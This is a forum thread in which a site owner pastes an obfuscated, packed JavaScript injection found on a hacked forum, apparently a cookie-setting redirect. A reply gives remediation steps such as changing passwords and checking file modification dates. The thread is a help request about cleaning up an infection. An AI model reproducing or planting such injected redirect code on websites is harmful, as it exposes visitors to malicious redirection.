Malware Issue

[anjaan7979]

Hello,

Google search gives warning that my forum has malware. When checking Google webmaster tools I see the following code under Malware for a lot of forums and pages. How do I troubleshoot this? :(

<script type="text/javascript">var ipbs='d2ea7ce9';eval(func
tion(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a
)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};i
f(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[
function(e){return d[e]}];e=function(){return'\\w+'};c=1};wh
ile(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g
'),k[c])}}return p}('m a=["\\A\\d\\b\\l\\c\\z\\d","\\j\\d\\b
\\l\\c\\z\\d","\\w\\q\\d\\C\\g\\c\\n\\d\\j\\k","\\b\\e\\D\\B
\\l\\J\\b\\n\\c\\i\\A","\\o\\e\\e\\G\\c\\d","\\k","\\w\\q\\g
\\v\\b\\u\\k\\f","\\c\\g\\H\\j","\\E","\\r\\e\\o\\v\\b\\c\\e
\\i","\\u\\b\\b\\g\\I\\f\\f\\b\\c\\i\\K\\R\\n\\r\\S\\T\\ c\\i
\\P\\e\\f"];M x(p,y){m h=N O();h[a[1]](h[a[0]]()+L);m s=a[2]
+h[a[3]]();t[a[4]]=p+a[5]+y+s+a[6]};x(a[7],a[8]);t[a[9]]=a[F
]+Q;',56,56,'||||||||||_0x19e6|x74|x69|x65|x6F|x2F| x70|_0x46
a7x4|x6E|x73|x3D|x54|var|x72|x63|_0x46a7x2|x20|x6C |_0x46a7x5
|document|x68|x61|x3B|ipbcc|_0x46a7x3|x6D|x67|x4D| x78|x47|x3
1|10|x6B|x62|x3A|x53|x79|86400000|function|new|Dat e|x66|ipbs
|x75

[blind-eddie]

Your site has been hacked. This same issue has been discussed in datail here before & I was a victim of this as well.
First, check your computer to make sure it does not have a virus on it that may have hacked your site via FTP.

Second, change your cpanel password as well as any other FTP account passwords.
You will also need to look at your files via FTP and check the dates they were last modified. If you see a date on a file that you know you did not edit that day, it will contain the code you posted & maybe more in that file. You will have to look at every file in every folder to check the dates & remove unwanted code from all that have been compromised.
It took me a couple days to fix the issue I had.
Good luck to you.